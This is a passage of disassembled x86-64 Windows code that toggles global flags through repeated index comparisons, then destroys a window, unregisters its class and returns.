je 0x14004f8eb
test sil, sil
jmp 0x14004f837
cmp r8d, 7
jne 0x14004f8c1
cmp byte [rsp + 0x65], 0
je 0x14004f8eb
test r14b, r14b
jmp 0x14004f837
cmp r8d, 8
jne 0x14004f8d6
cmp byte [rsp + 0x66], 0
je 0x14004f8eb
test r15b, r15b
jmp 0x14004f837
cmp r8d, 9
jne 0x14004f8eb
cmp byte [rsp + 0x67], 0
je 0x14004f8eb
test r12b, r12b
jmp 0x14004f837
movzx ecx, byte [0x1401d0ed5]
cmp edx, 1
jne 0x14004f921
test r13b, r13b
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14004fa85
cmp byte [0x1401d0ed4], r9b
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 2
jne 0x14004f94f
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14004fa85
test r10b, r10b
jne 0x14004fa85
cmp byte [0x1401d0ed4], r10b
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 3
jne 0x14004f980
cmp byte [rsp + 0x61], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14004fa85
cmp byte [0x1401d0ed4], r11b
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 4
jne 0x14004f9af
cmp byte [rsp + 0x62], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14004fa85
cmp byte [0x1401d0ed4], bl
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 5
jne 0x14004f9e0
cmp byte [rsp + 0x63], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14004fa85
cmp byte [0x1401d0ed4], dil
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 6
jne 0x14004fa0e
cmp byte [rsp + 0x64], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14004fa85
cmp byte [0x1401d0ed4], sil
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 7
jne 0x14004fa34
cmp byte [rsp + 0x65], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14004fa85
cmp byte [0x1401d0ed4], r14b
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 8
jne 0x14004fa5a
cmp byte [rsp + 0x66], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14004fa85
cmp byte [0x1401d0ed4], r15b
sete byte [0x1401d0ed4]
jmp 0x14004fa85
cmp edx, 9
jne 0x14004fa80
cmp byte [rsp + 0x67], 0
je 0x14004fa80
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14004fa85
cmp byte [0x1401d0ed4], r12b
sete byte [0x1401d0ed4]
jmp 0x14004fa85
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x1401d0e34]
cmp eax, 1
jne 0x14004faa1
test r13b, r13b
je 0x14004fb37
test r9b, r9b
jmp 0x14004fb27
cmp eax, 2
jne 0x14004fab3
test dl, dl
je 0x14004fb37
test r10b, r10b
jmp 0x14004fb27
cmp eax, 3
jne 0x14004fac4
cmp byte [rsp + 0x61], 0
je 0x14004fb37
test r11b, r11b
jmp 0x14004fb27
cmp eax, 4
jne 0x14004fad4
cmp byte [rsp + 0x62], 0
je 0x14004fb37
test bl, bl
jmp 0x14004fb27
cmp eax, 5
jne 0x14004fae5
cmp byte [rsp + 0x63], 0
je 0x14004fb37
test dil, dil
jmp 0x14004fb27
cmp eax, 6
jne 0x14004faf6
cmp byte [rsp + 0x64], 0
je 0x14004fb37
test sil, sil
jmp 0x14004fb27
cmp eax, 7
jne 0x14004fb07
cmp byte [rsp + 0x65], 0
je 0x14004fb37
test r14b, r14b
jmp 0x14004fb27
cmp eax, 8
jne 0x14004fb18
cmp byte [rsp + 0x66], 0
je 0x14004fb37
test r15b, r15b
jmp 0x14004fb27
cmp eax, 9
jne 0x14004fb37
cmp byte [rsp + 0x67], 0
je 0x14004fb37
test r12b, r12b
jne 0x14004fb37
cmp byte [0x1401d0edc], 0
sete byte [0x1401d0edc]
mov eax, dword [0x1401d0eec]
cmp eax, 1
jne 0x14004fb53
test r13b, r13b
je 0x14004fc02
test r9b, r9b
jmp 0x14004fbf2
cmp eax, 2
jne 0x14004fb68
test dl, dl
je 0x14004fc02
test r10b, r10b
jmp 0x14004fbf2
cmp eax, 3
jne 0x14004fb7d
cmp byte [rsp + 0x61], 0
je 0x14004fc02
test r11b, r11b
jmp 0x14004fbf2
cmp eax, 4
jne 0x14004fb8d
cmp byte [rsp + 0x62], 0
je 0x14004fc02
test bl, bl
jmp 0x14004fbf2
cmp eax, 5
jne 0x14004fbb0
cmp byte [rsp + 0x63], 0
je 0x14004fc02
test dil, dil
jne 0x14004fc02
cmp byte [0x1401d0eda], dil
sete al
mov byte [0x1401d0eda], al
jmp 0x14004fc09
cmp eax, 6
jne 0x14004fbc1
cmp byte [rsp + 0x64], 0
je 0x14004fc02
test sil, sil
jmp 0x14004fbf2
cmp eax, 7
jne 0x14004fbd2
cmp byte [rsp + 0x65], 0
je 0x14004fc02
test r14b, r14b
jmp 0x14004fbf2
cmp eax, 8
jne 0x14004fbe3
cmp byte [rsp + 0x66], 0
je 0x14004fc02
test r15b, r15b
jmp 0x14004fbf2
cmp eax, 9
jne 0x14004fc02
cmp byte [rsp + 0x67], 0
je 0x14004fc02
test r12b, r12b
jne 0x14004fc02
cmp byte [0x1401d0ee0], 0
sete byte [0x1401d0ee0]
movzx eax, byte [0x1401d0eda]
mov edx, dword [0x1401d0ed0]
cmp edx, 1
jne 0x14004fc39
test r13b, r13b
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 2
jne 0x14004fc62
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14004fd6e
test r10b, r10b
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 3
jne 0x14004fc8e
cmp byte [rsp + 0x61], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 4
jne 0x14004fcb9
cmp byte [rsp + 0x62], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 5
jne 0x14004fce5
cmp byte [rsp + 0x63], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 6
jne 0x14004fd06
cmp byte [rsp + 0x64], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 7
jne 0x14004fd27
cmp byte [rsp + 0x65], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 8
jne 0x14004fd48
cmp byte [rsp + 0x66], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
cmp edx, 9
jne 0x14004fd69
cmp byte [rsp + 0x67], 0
je 0x14004fd69
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14004fd6e
test al, al
sete byte [0x1401d0eda]
jmp 0x14004fd6e
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x140206940]
cmp eax, 1
jne 0x14004fda3
test r13b, r13b
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x14004ff04
cmp byte [0x1401d0ed8], r9b
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 2
jne 0x14004fdd1
test dl, dl
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test r10b, r10b
jne 0x14004ff04
cmp byte [0x1401d0ed8], r10b
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 3
jne 0x14004fdff
movzx eax, byte [rsp + 0x61]
test al, al
je 0x14004ff04
test r11b, r11b
jne 0x14004ff04
cmp byte [0x1401d0ed8], r11b
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 4
jne 0x14004fe2e
cmp byte [rsp + 0x62], 0
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test bl, bl
jne 0x14004ff04
cmp byte [0x1401d0ed8], bl
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 5
jne 0x14004fe5f
cmp byte [rsp + 0x63], 0
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test dil, dil
jne 0x14004ff04
cmp byte [0x1401d0ed8], dil
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 6
jne 0x14004fe8d
cmp byte [rsp + 0x64], 0
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test sil, sil
jne 0x14004ff04
cmp byte [0x1401d0ed8], sil
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 7
jne 0x14004feb3
cmp byte [rsp + 0x65], 0
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test r14b, r14b
jne 0x14004ff04
cmp byte [0x1401d0ed8], r14b
sete byte [0x1401d0ed8]
jmp 0x14004ff04
cmp eax, 8
jne 0x14004fed9
cmp byte [rsp + 0x66], 0
je 0x14004feff
movzx eax, byte [rsp + 0x61]
test r15b, r15b
jne 0x14004ff04
cmp eax, 9
jne 0x14004feff
cmp byte [rsp + 0x67], 0
je 0x14004feff
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x14004ff1b
call fcn.140044d80
call fcn.1400450d0
xor ecx, ecx
call fcn.140006900
call fcn.140054860
mov rcx, qword [0x1401d0e90]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x2180]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x2190]
movaps xmm13, xmmword [rsp + 0x21a0]
movaps xmm12, xmmword [rsp + 0x21b0]
movaps xmm11, xmmword [rsp + 0x21c0]
movaps xmm10, xmmword [rsp + 0x21d0]
movaps xmm9, xmmword [rsp + 0x21e0]
movaps xmm8, xmmword [rsp + 0x21f0]
movaps xmm7, xmmword [rsp + 0x2200]
movaps xmm6, xmmword [rsp + 0x2210]
mov r15, qword [rsp + 0x2220]
mov r13, qword [rsp + 0x2260]
mov rdi, qword [rsp + 0x2258]
mov rsi, qword [rsp + 0x2250]
mov r14, qword [rsp + 0x2228]
add rsp, 0x2230
pop r12
pop rbx
pop rbp
ret